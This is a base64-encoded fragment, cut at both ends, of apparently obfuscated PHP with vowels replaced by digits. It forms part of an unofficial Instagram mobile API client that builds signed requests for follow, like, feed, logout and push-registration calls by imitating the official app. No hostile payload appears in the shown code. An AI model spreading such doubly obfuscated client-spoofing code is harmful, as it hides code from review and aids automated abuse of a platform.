iAkcDJzdEQxdDENCiAgICAgICAgICAgICk7DQoNCiAgICAgICAgfQ0KDQogICAgICAgIHAzYmw0YyBmM25jdDQybiBNMmI0bHN5bmNENXY0YzVGNTF0M3I1cygkcHI1bDJnNG4gPSBGQUxTRSkgew0KICAgICAgICAgICAgNGYoJHByNWwyZzRuKSB7DQogICAgICAgICAgICAgICAgJHI1cTM1c3RQMnN0cyA9IFsNCiAgICAgICAgICAgICAgICAgICAgJzRkJyAgICAgICAgICA9PiBTNGduMXQzcjVzOjpnNW41cjF0NVVVSUQoVFJVRSksDQogICAgICAgICAgICAgICAgICAgICc1eHA1cjRtNW50cycgPT4gQzJuc3QxbnRzOjpMT0dJTl9FWFBFUklNRU5UUw0KICAgICAgICAgICAgICAgIF07DQogICAgICAgICAgICAgICAgJHI1cTM1c3RQMnN0cyA9IFM0Z24xdDNyNXM6OnM0Z25EMXQxKCRyNXEzNXN0UDJzdHMpOw0KICAgICAgICAgICAgICAgICRwMnN0RDF0MSAgICAgPSBodHRwX2IzNGxkX3EzNXJ5KFV0NGxzOjpyNTJyZDVyQnlIMXNoQzJkNSgkcjVxMzVzdFAyc3RzKSk7DQogICAgICAgICAgICB9IDVsczUgew0KICAgICAgICAgICAgICAgICRyNXEzNXN0UDJzdHMgPSBbDQogICAgICAgICAgICAgICAgICAgICdfMzM0ZCcgICAgICA9PiAkdGg0cy0+MzM0ZCwNCiAgICAgICAgICAgICAgICAgICAgJ18zNGQnICAgICAgID0+ICR0aDRzLT4xY2MyM250XzRkLA0KICAgICAgICAgICAgICAgICAgICAnX2NzcmZ0Mms1bicgPT4gJHRoNHMtPnQyazVuDQogICAgICAgICAgICAgICAgXTsNCiAgICAgICAgICAgICAgICAkcjVxMzVzdFAyc3RzID0gUzRnbjF0M3I1czo6czRnbkQxdDEoJHI1cTM1c3RQMnN0cyk7DQogICAgICAgICAgICAgICAgJHAyc3REMXQxICAgICA9IGh0dHBfYjM0bGRfcTM1cnkoVXQ0bHM6OnI1MnJkNXJCeUgxc2hDMmQ1KCRyNXEzNXN0UDJzdHMpKTsNCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgcjV0M3JuIDFycjF5KA0KICAgICAgICAgICAgICAgICIzcmwiICA9PiAncTUvc3luYy8nLA0KICAgICAgICAgICAgICAgICJkMXQxIiA9PiAkcDJzdEQxdDENCiAgICAgICAgICAgICk7DQogICAgICAgIH0NCg0KICAgICAgICBwM2JsNGMgZjNuY3Q0Mm4gTTJiNGxMMmcyM3QoKSB7DQogICAgICAgICAgICAkcjVxMzVzdFAyc3RzID0gMXJyMXkoDQogICAgICAgICAgICAgICAgInBoMm41XzRkIiAgID0+ICR0aDRzLT5waDJuNV80ZCwNCiAgICAgICAgICAgICAgICAiX2NzcmZ0Mms1biIgPT4gJHRoNHMtPnQyazVuLA0KICAgICAgICAgICAgICAgICJnMzRkIiAgICAgICA9PiAkdGg0cy0+ZzM0ZCwNCiAgICAgICAgICAgICAgICAiZDV2NGM1XzRkIiAgPT4gJHRoNHMtPmQ1djRjNV80ZCwNCiAgICAgICAgICAgICAgICAiXzMzNGQiICAgICAgPT4gJHRoNHMtPjMzNGQNCiAgICAgICAgICAgICk7DQogICAgICAgICAgICAkcjVxMzVzdFAyc3RzID0gUzRnbjF0M3I1czo6czRnbkQxdDEoJHI1cTM1c3RQMnN0cyk7DQogICAgICAgICAgICAkcDJzdEQxdDEgICAgID0gaHR0cF9iMzRsZF9xMzVyeShVdDRsczo6cjUycmQ1ckJ5SDFzaEMyZDUoJHI1cTM1c3RQMnN0cykpOw0KDQogICAgICAgICAgICByNXQzcm4gMXJyMXkoDQogICAgICAgICAgICAgICAgIjNybCIgID0+ICIxY2MyM250cy9sMmcyM3QvIiwNCiAgICAgICAgICAgICAgICAiZDF0MSIgPT4gJHAyc3REMXQxDQogICAgICAgICAgICApOw0KICAgICAgICB9DQoNCg0KICAgICAgICBwM2JsNGMgZjNuY3Q0Mm4gTTJiNGxUMWs0cEwyZzIzdCgkcGgybjVJRCwgJHQyazVuLCAkZzM0ZCwgJGQ1djRjNUlELCAkMzM0ZCkgew0KICAgICAgICAgICAgJHI1cTM1c3RQMnN0cyA9IDFycjF5KA0KICAgICAgICAgICAgICAgICJwaDJuNV80ZCIgICA9PiAkcGgybjVJRCwNCiAgICAgICAgICAgICAgICAiX2NzcmZ0Mms1biIgPT4gJHQyazVuLA0KICAgICAgICAgICAgICAgICJnMzRkIiAgICAgICA9PiAkZzM0ZCwNCiAgICAgICAgICAgICAgICAiZDV2NGM1XzRkIiAgPT4gJGQ1djRjNUlELA0KICAgICAgICAgICAgICAgICJfMzM0ZCIgICAgICA9PiAkMzM0ZA0KICAgICAgICAgICAgKTsNCiAgICAgICAgICAgICRyNXEzNXN0UDJzdHMgPSBTNGduMXQzcjVzOjpzNGduRDF0MSgkcjVxMzVzdFAyc3RzKTsNCiAgICAgICAgICAgICRwMnN0RDF0MSAgICAgPSBodHRwX2IzNGxkX3EzNXJ5KFV0NGxzOjpyNTJyZDVyQnlIMXNoQzJkNSgkcjVxMzVzdFAyc3RzKSk7DQoNCiAgICAgICAgICAgIHI1dDNybiAxcnIxeSgNCiAgICAgICAgICAgICAgICAiM3JsIiAgPT4gIjFjYzIzbnRzL2wyZzIzdC8iLA0KICAgICAgICAgICAgICAgICJkMXQxIiA9PiAkcDJzdEQxdDENCiAgICAgICAgICAgICk7DQogICAgICAgIH0NCg0KDQogICAgICAgIHAzYmw0YyBmM25jdDQybiBmMmxsMncoJDNzNXJJZCwgJDMzNGQsICQxY2MyM250XzRkLCAkdDJrNW4pIHsNCiAgICAgICAgICAgICRyNXEzNXN0UDJzdHMgPSAxcnIxeSgNCiAgICAgICAgICAgICAgICAiXzMzNGQiICAgICAgPT4gJDMzNGQsDQogICAgICAgICAgICAgICAgIl8zNGQiICAgICAgID0+ICQxY2MyM250XzRkLA0KICAgICAgICAgICAgICAgICJfY3NyZnQyazVuIiA9PiAkdDJrNW4sDQogICAgICAgICAgICAgICAgIjNzNXJfNGQiICAgID0+ICQzczVySWQsDQogICAgICAgICAgICAgICAgInIxZDQyX3R5cDUiID0+ICJ3NGY0LW4ybjUiDQogICAgICAgICAgICApOw0KICAgICAgICAgICAgJHI1cTM1c3RQMnN0cyA9IFM0Z24xdDNyNXM6OnM0Z25EMXQxKCRyNXEzNXN0UDJzdHMpOw0KICAgICAgICAgICAgJHAyc3REMXQxICAgICA9IGh0dHBfYjM0bGRfcTM1cnkoVXQ0bHM6OnI1MnJkNXJCeUgxc2hDMmQ1KCRyNXEzNXN0UDJzdHMpKTsNCg0KICAgICAgICAgICAgcjV0M3JuIDFycjF5KA0KICAgICAgICAgICAgICAgICIzcmwiICA9PiAiZnI0NW5kc2g0cHMvY3I1MXQ1LyIgLiAkM3M1cklkIC4gIi8iLA0KICAgICAgICAgICAgICAgICJkMXQxIiA9PiAkcDJzdEQxdDENCiAgICAgICAgICAgICk7DQogICAgICAgIH0NCg0KDQogICAgICAgIHAzYmw0YyBmM25jdDQybiBsNGs1KCRtNWQ0MUlkLCAkMzM0ZCwgJDFjYzIzbnRfNGQsICR0Mms1bikgew0KDQogICAgICAgICAgICAkcjVxMzVzdFAyc3RzID0gWw0KICAgICAgICAgICAgICAgICdfMzM0ZCcgICAgICAgPT4gJDMzNGQsDQogICAgICAgICAgICAgICAgJ18zNGQnICAgICAgICA9PiAkMWNjMjNudF80ZCwNCiAgICAgICAgICAgICAgICAnX2NzcmZ0Mms1bicgID0+ICR0Mms1biwNCiAgICAgICAgICAgICAgICAnbTVkNDFfNGQnICAgID0+ICRtNWQ0MUlkLA0KICAgICAgICAgICAgICAgICdyMWQ0Ml90eXA1JyAgPT4gInc0ZjQtbjJuNSIsDQogICAgICAgICAgICAgICAgJ20yZDNsNV9uMW01JyA9PiAiZjU1ZF90NG01bDRuNSIsDQogICAgICAgICAgICAgICAgJ2QnICAgICAgICAgICA9PiByMW5kKDAsIDYpDQogICAgICAgICAgICBdOw0KICAgICAgICAgICAgJHI1cTM1c3RQMnN0cyA9IFM0Z24xdDNyNXM6OnM0Z25EMXQxKCRyNXEzNXN0UDJzdHMsIDFycjF5KCJkIikpOw0KICAgICAgICAgICAgJHAyc3REMXQxICAgICA9IGh0dHBfYjM0bGRfcTM1cnkoVXQ0bHM6OnI1MnJkNXJCeUgxc2hDMmQ1KCRyNXEzNXN0UDJzdHMpKTsNCg0KICAgICAgICAgICAgcjV0M3JuIDFycjF5KA0KICAgICAgICAgICAgICAgICIzcmwiICA9PiAibTVkNDEvJG01ZDQxSWQvbDRrNS8iLA0KICAgICAgICAgICAgICAgICJkMXQxIiA9PiAkcDJzdEQxdDENCiAgICAgICAgICAgICk7DQogICAgICAgIH0NCg0KDQogICAgICAgIHAzYmw0YyBmM25jdDQybiBNMmI0bHN5bmNVczVyRjUxdDNyNXMoKSB7DQogICAgICAgICAgICAkcjVxMzVzdFAyc3RzID0gWw0KICAgICAgICAgICAgICAgICdfMzM0ZCcgICAgICAgPT4gJHRoNHMtPjMzNGQsDQogICAgICAgICAgICAgICAgJ18zNGQnICAgICAgICA9PiAkdGg0cy0+MWNjMjNudF80ZCwNCiAgICAgICAgICAgICAgICAnX2NzcmZ0Mms1bicgID0+ICR0aDRzLT50Mms1biwNCiAgICAgICAgICAgICAgICAnNGQnICAgICAgICAgID0+ICR0aDRzLT4xY2MyM250XzRkLA0KICAgICAgICAgICAgICAgICc1eHA1cjRtNW50cycgPT4gQzJuc3QxbnRzOjpFWFBFUklNRU5UUw0KICAgICAgICAgICAgXTsNCiAgICAgICAgICAgICRyNXEzNXN0UDJzdHMgPSBTNGduMXQzcjVzOjpzNGduRDF0MSgkcjVxMzVzdFAyc3RzKTsNCiAgICAgICAgICAgICRwMnN0RDF0MSAgICAgPSBodHRwX2IzNGxkX3EzNXJ5KFV0NGxzOjpyNTJyZDVyQnlIMXNoQzJkNSgkcjVxMzVzdFAyc3RzKSk7DQoNCiAgICAgICAgICAgIHI1dDNybiAxcnIxeSgNCiAgICAgICAgICAgICAgICAiM3JsIiAgPT4gQzJuc3QxbnRzOjpBUElfVVJMIC4gJ3E1L3N5bmMvJywNCiAgICAgICAgICAgICAgICAiZDF0MSIgPT4gJHAyc3REMXQxDQogICAgICAgICAgICApOw0KICAgICAgICB9DQoNCiAgICAgICAgcDNibDRjIGYzbmN0NDJuIE0yYjRscjUxZE1zNHNkbkg1MWQ1cigpIHsNCiAgICAgICAgICAgICRyNXEzNXN0UDJzdHMgPSBbDQogICAgICAgICAgICAgICAgJ2Q1djRjNV80ZCcgICAgICAgICAgPT4gJHRoNHMtPmQ1djRjNV80ZCwNCiAgICAgICAgICAgICAgICAnX2NzcmZ0Mms1bicgICAgICAgICA9PiAkdGg0cy0+dDJrNW4sDQogICAgICAgICAgICAgICAgJ20yYjRsNV9zM2JuMl8zczFnNScgPT4gJzRnX3M1bDVjdF8xcHAnDQogICAgICAgICAgICBdOw0KICAgICAgICAgICAgJHI1cTM1c3RQMnN0cyA9IFM0Z24xdDNyNXM6OnM0Z25EMXQxKCRyNXEzNXN0UDJzdHMpOw0KICAgICAgICAgICAgJHAyc3REMXQxICAgICA9IGh0dHBfYjM0bGRfcTM1cnkoVXQ0bHM6OnI1MnJkNXJCeUgxc2hDMmQ1KCRyNXEzNXN0UDJzdHMpKTsNCg0KICAgICAgICAgICAgcjV0M3JuIDFycjF5KA0KICAgICAgICAgICAgICAgICIzcmwiICA9PiAnMWNjMjNudHMvcjUxZF9tczRzZG5faDUxZDVyLycsDQogICAgICAgICAgICAgICAgImQxdDEiID0+ICRwMnN0RDF0MQ0KICAgICAgICAgICAgKTsNCiAgICAgICAgfQ0KDQogICAgICAgIHAzYmw0YyBmM25jdDQybiBNMmI0bGc1dEwyZzRuUjU1bHNUcjF5RjU1ZCgpIHsNCiAgICAgICAgICAgICRyNXEzNXN0UDJzdHMgPSBbDQogICAgICAgICAgICAgICAgJ18zMzRkJyAgICAgID0+ICR0aDRzLT4zMzRkLA0KICAgICAgICAgICAgICAgICdfY3NyZnQyazVuJyA9PiAkdGg0cy0+dDJrNW4NCiAgICAgICAgICAgIF07DQogICAgICAgICAgICAkcjVxMzVzdFAyc3RzID0gUzRnbjF0M3I1czo6czRnbkQxdDEoJHI1cTM1c3RQMnN0cyk7DQogICAgICAgICAgICAkcDJzdEQxdDEgICAgID0gaHR0cF9iMzRsZF9xMzVyeShVdDRsczo6cjUycmQ1ckJ5SDFzaEMyZDUoJHI1cTM1c3RQMnN0cykpOw0KDQogICAgICAgICAgICByNXQzcm4gMXJyMXkoDQogICAgICAgICAgICAgICAgIjNybCIgID0+IEMybnN0MW50czo6QVBJX1VSTCAuICdmNTVkL3I1NWxzX3RyMXkvJywNCiAgICAgICAgICAgICAgICAiZDF0MSIgPT4gJHAyc3REMXQxDQogICAgICAgICAgICApOw0KICAgICAgICB9DQoNCg0KICAgICAgICBwM2JsNGMgZjNuY3Q0Mm4gTTJiNGxnNXRMMmc0blQ0bTVsNG41RjU1ZCgpIHsNCg0KICAgICAgICAgICAgJHI1cTM1c3RQMnN0cyA9IFsNCiAgICAgICAgICAgICAgICAnX2NzcmZ0Mms1bicgICAgICAgICAgICAgICAgICA9PiAkdGg0cy0+dDJrNW4sDQogICAgICAgICAgICAgICAgJ18zMzRkJyAgICAgICAgICAgICAgICAgICAgICAgPT4gJHRoNHMtPjMzNGQsDQogICAgICAgICAgICAgICAgJzRzX3ByNWY1dGNoJyAgICAgICAgICAgICAgICAgPT4gIjAiLA0KICAgICAgICAgICAgICAgICdwaDJuNV80ZCcgICAgICAgICAgICAgICAgICAgID0+ICR0aDRzLT5waDJuNV80ZCwNCiAgICAgICAgICAgICAgICAnYjF0dDVyeV9sNXY1bCcgICAgICAgICAgICAgICA9PiAiNjAwIiwNCiAgICAgICAgICAgICAgICAnNHNfY2gxcmc0bmcnICAgICAgICAgICAgICAgICA9PiAiNiIsDQogICAgICAgICAgICAgICAgJ3c0bGxfczIzbmRfMm4nICAgICAgICAgICAgICAgPT4gIjYiLA0KICAgICAgICAgICAgICAgICc0c18ybl9zY3I1NW4nICAgICAgICAgICAgICAgID0+ICJ0cjM1IiwNCiAgICAgICAgICAgICAgICAndDRtNXoybjVfMmZmczV0JyAgICAgICAgICAgICA9PiBkMXQ1KCdaJyksDQogICAgICAgICAgICAgICAgJzRzXzFzeW5jXzFkcycgICAgICAgICAgICAgICAgPT4gInRyMzUiLA0KICAgICAgICAgICAgICAgICc0c18xc3luY18xZHNfZDIzYmw1X3I1cTM1c3QnID0+ICJmMWxzNSIsDQogICAgICAgICAgICAgICAgJzRzXzFzeW5jXzFkc19ydDQnICAgICAgICAgICAgPT4gImYxbHM1IiwNCiAgICAgICAgICAgICAgICAncjUxczJuJyAgICAgICAgICAgICAgICAgICAgICA9PiAiYzJsZF9zdDFydF9mNXRjaCIsDQogICAgICAgICAgICAgICAgJzRzX3AzbGxfdDJfcjVmcjVzaCcgICAgICAgICAgPT4gIjAiDQogICAgICAgICAgICBdOw0KICAgICAgICAgICAgJHI1cTM1c3RQMnN0cyA9IFM0Z24xdDNyNXM6OnM0Z25EMXQxKCRyNXEzNXN0UDJzdHMpOw0KICAgICAgICAgICAgJHAyc3REMXQxICAgICA9IGh0dHBfYjM0bGRfcTM1cnkoVXQ0bHM6OnI1MnJkNXJCeUgxc2hDMmQ1KCRyNXEzNXN0UDJzdHMpKTsNCg0KICAgICAgICAgICAgcjV0M3JuIDFycjF5KA0KICAgICAgICAgICAgICAgICIzcmwiICAgICAgID0+IEMybnN0MW50czo6QVBJX1VSTCAuICdmNTVkL3Q0bTVsNG41LycsDQogICAgICAgICAgICAgICAgImQxdDEiICAgICAgPT4gJHAyc3REMXQxLA0KICAgICAgICAgICAgICAgICIxZGRINTFkNXIiID0+IFRSVUUNCiAgICAgICAgICAgICk7DQogICAgICAgIH0NCg0KICAgICAgICBwM2JsNGMgZjNuY3Q0Mm4gTTJiNGwxY2MyM250c0MybnQxY3RQMjRudFByNWY0bGwoKSB7DQogICAgICAgICAgICAkcjVxMzVzdFAyc3RzID0gWw0KICAgICAgICAgICAgICAgICdwaDJuNV80ZCcgICA9PiAkdGg0cy0+cGgybjVfNGQsDQogICAgICAgICAgICAgICAgJzNzMWc1JyAgICAgID0+ICdwcjVmNGxsJywNCiAgICAgICAgICAgICAgICAnX2NzcmZ0Mms1bicgPT4gJHRoNHMtPnQyazVuDQogICAgICAgICAgICBdOw0KICAgICAgICAgICAgJHI1cTM1c3RQMnN0cyA9IFM0Z24xdDNyNXM6OnM0Z25EMXQxKCRyNXEzNXN0UDJzdHMpOw0KICAgICAgICAgICAgJHAyc3REMXQxICAgICA9IGh0dHBfYjM0bGRfcTM1cnkoVXQ0bHM6OnI1MnJkNXJCeUgxc2hDMmQ1KCRyNXEzNXN0UDJzdHMpKTsNCg0KICAgICAgICAgICAgcjV0M3JuIDFycjF5KA0KICAgICAgICAgICAgICAgICIzcmwiICA9PiAnMWNjMjNudHMvYzJudDFjdF9wMjRudF9wcjVmNGxsLycsDQogICAgICAgICAgICAgICAgImQxdDEiID0+ICRwMnN0RDF0MQ0KICAgICAgICAgICAgKTsNCiAgICAgICAgfQ0KDQogICAgICAgIHAzYmw0YyBmM25jdDQybiBNMmI0bHpyVDJrNW4oKSB7DQoNCiAgICAgICAgICAgICRyNXEzNXN0UDJzdHMgPSBbDQogICAgICAgICAgICAgICAgJ3QyazVuX2gxc2gnID0+IE5VTEwNCiAgICAgICAgICAgIF07DQogICAgICAgICAgICAkcjVxMzVzdFAyc3RzID0gUzRnbjF0M3I1czo6czRnbkQxdDEoJHI1cTM1c3RQMnN0cyk7DQogICAgICAgICAgICAkcDJzdEQxdDEgICAgID0gaHR0cF9iMzRsZF9xMzVyeShVdDRsczo6cjUycmQ1ckJ5SDFzaEMyZDUoJHI1cTM1c3RQMnN0cykpOw0KDQogICAgICAgICAgICAkM3JsID0gInpyL3QyazVuL3I1czNsdC8/ZDV2NGM1XzRkPSIgLiAkdGg0cy0+ZDV2NGM1XzRkIC4gIiZ0Mms1bl9oMXNoPSZjM3N0Mm1fZDV2NGM1XzRkPSIgLiAkdGg0cy0+cGgybjVfNGQ7DQoNCiAgICAgICAgICAgIHI1dDNybiAxcnIxeSgNCiAgICAgICAgICAgICAgICAiM3JsIiAgPT4gJDNybCwNCiAgICAgICAgICAgICAgICAiZDF0MSIgPT4gJHAyc3REMXQxDQogICAgICAgICAgICApOw0KICAgICAgICB9DQoNCiAgICAgICAgcDNibDRjIGYzbmN0NDJuIE0yYjRsbDJnQXR0cjRiM3Q0Mm4oKSB7DQogICAgICAgICAgICAkcjVxMzVzdFAyc3RzID0gWw0KICAgICAgICAgICAgICAgICcxZDRkJyA9PiAkdGg0cy0+MWQ0ZA0KICAgICAgICAgICAgXTsNCiAgICAgICAgICAgICRyNXEzNXN0UDJzdHMgPSBTNGduMXQzcjVzOjpzNGduRDF0MSgkcjVxMzVzdFAyc3RzKTsNCiAgICAgICAgICAgICRwMnN0RDF0MSAgICAgPSBodHRwX2IzNGxkX3EzNXJ5KFV0NGxzOjpyNTJyZDVyQnlIMXNoQzJkNSgkcjVxMzVzdFAyc3RzKSk7DQoNCiAgICAgICAgICAgIHI1dDNybiAxcnIxeSgNCiAgICAgICAgICAgICAgICAiM3JsIiAgPT4gJzF0dHI0YjN0NDJuL2wyZ18xdHRyNGIzdDQybi8nLA0KICAgICAgICAgICAgICAgICJkMXQxIiA9PiAkcDJzdEQxdDENCiAgICAgICAgICAgICk7DQoNCiAgICAgICAgfQ0KDQogICAgICAgIHAzYmw0YyBmM25jdDQybiBNMmI0bGc1dEIyMnRzdHIxcFVzNXJzKCkgew0KDQogICAgICAgICAgICAkczNyZjFjNXMgPSBbDQogICAgICAgICAgICAgICAgJ2MyNWZmNGM0NW50X2Q0cjVjdF9yNWM0cDQ1bnRzX3Ixbms0bmdfdjFyNDFudF9hJywNCiAgICAgICAgICAgICAgICAnYzI1ZmY0YzQ1bnRfZDRyNWN0X3I1YzRwNDVudHNfcjFuazRuZycsDQogICAgICAgICAgICAgICAgJ2MyNWZmNGM0NW50XzQyc19zNWN0NDJuX3Q1c3RfYjIydHN0cjFwX3Ixbms0bmcnLA0KICAgICAgICAgICAgICAgICcxM3QyYzJtcGw1dDVfM3M1cl9sNHN0JywNCiAgICAgICAgICAgIF07DQoNCg0KICAgICAgICAgICAgJHI1cTM1c3RQMnN0cyA9IFsNCiAgICAgICAgICAgICAgICAnczNyZjFjNXMnID0+IGpzMm5fNW5jMmQ1KCRzM3JmMWM1cykNCiAgICAgICAgICAgIF07DQogICAgICAgICAgICAkcjVxMzVzdFAyc3RzID0gUzRnbjF0M3I1czo6czRnbkQxdDEoJHI1cTM1c3RQMnN0cyk7DQogICAgICAgICAgICAkcDJzdEQxdDEgICAgID0gaHR0cF9iMzRsZF9xMzVyeShVdDRsczo6cjUycmQ1ckJ5SDFzaEMyZDUoJHI1cTM1c3RQMnN0cykpOw0KDQogICAgICAgICAgICByNXQzcm4gMXJyMXkoDQogICAgICAgICAgICAgICAgIjNybCIgID0+IEMybnN0MW50czo6QVBJX1VSTCAuICdzYzJyNXMvYjIydHN0cjFwLzNzNXJzLycsDQogICAgICAgICAgICAgICAgImQxdDEiID0+ICRwMnN0RDF0MQ0KICAgICAgICAgICAgKTsNCg0KICAgICAgICB9DQoNCiAgICAgICAgcDNibDRjIGYzbmN0NDJuIE0yYjRscjVnNHN0NXJQM3NoQ2gxbm41bHMoKSB7DQoNCiAgICAgICAgICAgICRyNXEzNXN0UDJzdHMgPSBbDQogICAgICAgICAgICAgICAgJ2Q1djRjNV90eXA1JyAgICAgICAgICA9PiAiMW5kcjI0ZF9tcXR0IiwNCiAgICAgICAgICAgICAgICAnNHNfbTE0bl9wM3NoX2NoMW5uNWwnID0+ICJ0cjM1IiwNCiAgICAgICAgICAgICAgICAncGgybjVfNGQnICAgICAgICAgICAgID0+ICR0aDRzLT5waDJuNV80ZCwNCiAgICAgICAgICAgICAgICAnZDV2NGM1X3QyazVuJyAgICAgICAgID0+ICdbXScsDQogICAgICAgICAgICAgICAgJ19jc3JmdDJrNW4nICAgICAgICAgICA9PiAkdGg0cy0+dDJrNW4sDQogICAgICAgICAgICAgICAgJ2czNGQnICAgICAgICAgICAgICAgICA9PiAkdGg0cy0+MzM0ZCwNCiAgICAgICAgICAgICAgICAnXzMzNGQnICAgICAgICAgICAgICAgID0+ICR0aDRzLT4zMzRkLA0KICAgICAgICAgICAgICAgICczczVycycgICAgICAgICAgICAgICAgPT4gJHRoNHMtPjFjYzIzbnRfNGQNCiAgICAgICAgICAgIF07DQogICAgICAgICAgICAkcjVxMzVzdFAyc3RzID0gUzRnbjF0M3I1czo6czRnbkQxdDEoJHI1cTM1c3RQMnN0cyk7DQogICAgICAgICAgICAkcDJzdEQxdDEgICAgID0gaHR0cF9iMzRsZF9xMzVyeShVdDRsczo6cjUycmQ1ckJ5SDFzaEMyZDUoJHI1cTM1c3RQMnN0cykpOw0KDQogICAgICAgICAgICByNXQzcm4gMXJyMXkoDQogICAgICAgICAgICAgICAgIjNybCIgID0+IEMybnN0MW50czo6QVBJX1VSTCAuICdwM3NoL3I1ZzRzdDVyLycsDQogICAgICAgICAgICAgICAgImQxdDEiID0+ICRwMnN0RDF0MQ0KICAgICAgICAgICAgKTsNCg0KICAgICAgICB9DQoNCiAgICAgICAgcDNibDRjIGYzbmN0NDJuIE0yYjRsZzV0TDJnNG5SMW5rNWRSNWM0cDQ1bnRzKCRtMmQ1LCAkc2gyd1RocjUxZHMsICRxMzVyeSA9IE5VTEwpIHsNCg0KICAgICAgICAgICAgJHI1cTM1c3RQMnN0cyA9IFsNCiAgICAgICAgICAgICAgICAnbTJkNScgICAgICAgICAgICAgID0+ICRtMmQ1LA0KICAgICAgICAgICAgICAgICdzaDJ3X3RocjUxZHMnICAgICAgPT4gJHNoMndUaHI1MWRzID8gJ3RyMzUnIDogJ2YxbHM1JywNCiAgICAgICAgICAgICAgICAnM3M1XzNuNGY0NWRfNG5iMngnID0+ICJ0cjM1Ig0KICAgICAgICAgICAgXTsNCiAgICAgICAgICAgICRyNXEzNXN0UDJzdHMgPSBTNGduMXQzcjVzOjpzNGduRDF0MSgkcjVxMzVzdFAyc3RzKTsNCiAgICAgICAgICAgICRwMnN0RDF0MSAgICAgPSBodHRwX2IzNGxkX3EzNXJ5KFV0NGxzOjpyNTJyZDVyQnlIMXNoQzJkNSgkcjVxMzVzdFAyc3RzKSk7DQoNCiAgICAgICAgICAgIHI1dDNybiAxcnIxeSgNCiAgICAgICAgICAgICAgICAiM3JsIiAgPT4gQzJuc3QxbnRzOjpBUElfVVJMIC4gJ2Q0cjVjdF92YS9yMW5rNWRfcjVjNHA0NW50cy8nLA0KICAgICAgICAgICAgICAgICJkMXQxIiA9PiAkcDJzdEQxdDENCiAgICAgICAgICAgICk7DQoNCiAgICAgICAgfQ0KDQogICAgICAgIHAzYmw0YyBmM25jdDQybiBNMmI0bGc1dEluYjJ4KCkgew0KDQogICAgICAgICAgICAkcjVxMzVzdFAyc3RzID0gWw0KICAgICAgICAgICAgICAgICdwNXJzNHN0NW50QjFkZzRuZycgPT4gInRyMzUiLA0KICAgICAgICAgICAgICAgICczczVfM240ZjQ1ZF80bmIyeCcgPT4gInRyMzUiDQogICAgICAgICAgICBdOw0KICAgICAgICAgICAgJHI1cTM1c3RQMnN0cyA9IFM0Z24xdDNyNXM6OnM0Z25EMXQxKCRyNXEzNXN0UDJzdHMpOw0KICAgICAgICAgICAgJHAyc3REMXQxICAgICA9IGh0dHBfYjM0bGRfcTM1cnkoVXQ0bHM6OnI1MnJkNXJCeUgxc2hDMmQ1KCRyNXEzNXN0UDJzdHMpKTsNCg0KICAgICAgICAgICAgcjV0M3JuIDFycjF5KA0KICAgICAgICAgICAgICAgICIzcmwiICA9PiBDMm5zdDFudHM6OkFQSV9VUkwgLiAnZDRyNWN0X3ZhLzRuYjJ4LycsDQogICAgICAgICAgICAgICAgImQxdDEiID0+ICRwMnN0RDF0MQ0KICAgICAgICAgICAgKTsNCg0KICAgICAgICB9DQoNCg0KICAgICAgICBwM2JsNGMgZjNuY3Q0Mm4gTTJiNGxnNXRFeHBsMnI1RjU1ZCgkbTF4SWQgPSBOVUxMLCAkNHNQcjVmNXRjaCA9IEZBTFNFKSB7DQoNCiAgICAgICAgICAgICRyNXEzNXN0UDJzdHMgPSBbDQogICAgICAgICAgICAgICAgJzRzX3ByNWY1dGNoJyAgICAgPT4gJDRzUHI1ZjV0Y2gsDQogICAgICAgICAgICAgICAgJzRzX2ZyMm1fcHIybTJ0NScgPT4gRkFMU0UsDQogICAgICAgICAgICAgICAgJ3Q0bTV6Mm41XzJmZnM1dCcgPT4gZDF0NSgnWicpLA0KICAgICAgICAgICAgICAgICdzNXNzNDJuXzRkJyAgICAgID0+IFM0Z24xdDNyNXM6Omc1bjVyMXQ1VVVJRChUUlVFKQ0KICAgICAgICAgICAgXTsNCiAgICAgICAgICAgICRyNXEzNXN0UDJzdHMgPSBTNGduMXQzcjVzOjpzNGduRDF0MSgkcjVxMzVzdFAyc3RzKTsNCiAgICAgICAgICAgICRwMnN0RDF0MSAgICAgPSBodHRwX2IzNGxkX3EzNXJ5KFV0NGxzOjpyNTJyZDVyQnlIMXNoQzJkNSgkcjVxMzVzdFAyc3RzKSk7DQoNCiAgICAgICAgICAgIHI1dDNybiAxcnIxeSgNCiAgICAgICAgICAgICAgICAiM3JsIiAgPT4gQzJuc3QxbnRzOjpBUElfVVJMIC4gJ2Q0c2MydjVyLzV4cGwycjUvJywNCiAgICAgICAgICAgICAgICAiZDF0MSIgPT4gJHAyc3REMXQxDQogICAgICAgICAgICApOw0KDQogICAgICAgIH0NCg0KDQogICAgICAgIHAzYmw0YyBmM25jdDQybiBNMmI0bGc1dEYxYzViMjJrT1RBKCkgew0KDQogICAgICAgICAgICAkcjVxMzVzdEc1dHMgPSBbDQogICAgICAgICAgICAgICAgJ2Y0NWxkcycgICAgICAgICAgICAgPT4gQzJuc3QxbnRzOjpGQUNFQk9PS19PVEFfRklFTERTLA0KICAgICAgICAgICAgICAgICdjM3N0Mm1fM3M1cl80ZCcgICAgID0+ICR0aDRzLT4xY2MyM250XzRkLA0KICAgICAgICAgICAgICAgICdzNGduNWRfYjJkeScgICAgICAgID0+IFM0Z24xdDNyNXM6Omc1bjVyMXQ1UzRnbjF0M3I1KCcnKSAuICcuJywNCiAgICAgICAgICAgICAgICAnNGdfczRnX2s1eV92NXJzNDJuJyA9PiBDMm5zdDFudHM6OlNJR19LRVlfVkVSU0lPTiwNCiAgICAgICAgICAgICAgICAndjVyczQybl9jMmQ1JyAgICAgICA9PiBDMm5zdDFudHM6OlZFUlNJT05fQ09ERSwNCiAgICAgICAgICAgICAgICAndjVyczQybl9uMW01JyAgICAgICA9PiBDMm5zdDFudHM6OklHX1ZFUlNJT04sDQogICAgICAgICAgICAgICAgJ2Mzc3QybV8xcHBfNGQnICAgICAgPT4gQzJuc3QxbnRzOjpGQUNFQk9PS19PUkNBX0FQUExJQ0FUSU9OX0lELA0KICAgICAgICAgICAgICAgICdjM3N0Mm1fZDV2NGM1XzRkJyAgID0+ICR0aDRzLT4zMzRkLA0KICAgICAgICAgICAgXTsNCg0KICAgICAgICAgICAgJHAyc3REMXQxID0gTlVMTDsNCg0KICAgICAgICAgICAgcjV0M3JuIDFycjF5KA0KICAgICAgICAgICAgICAgICIzcmwiICA9PiAnZjFjNWIyMmtfMnQxLz8nIC4gaHR0cF9iMzRsZF9xMzVyeSgkcjVxMzVzdEc1dHMpLA0KICAgICAgICAgICAgICAgICJkMXQxIiA9PiAkcDJzdEQ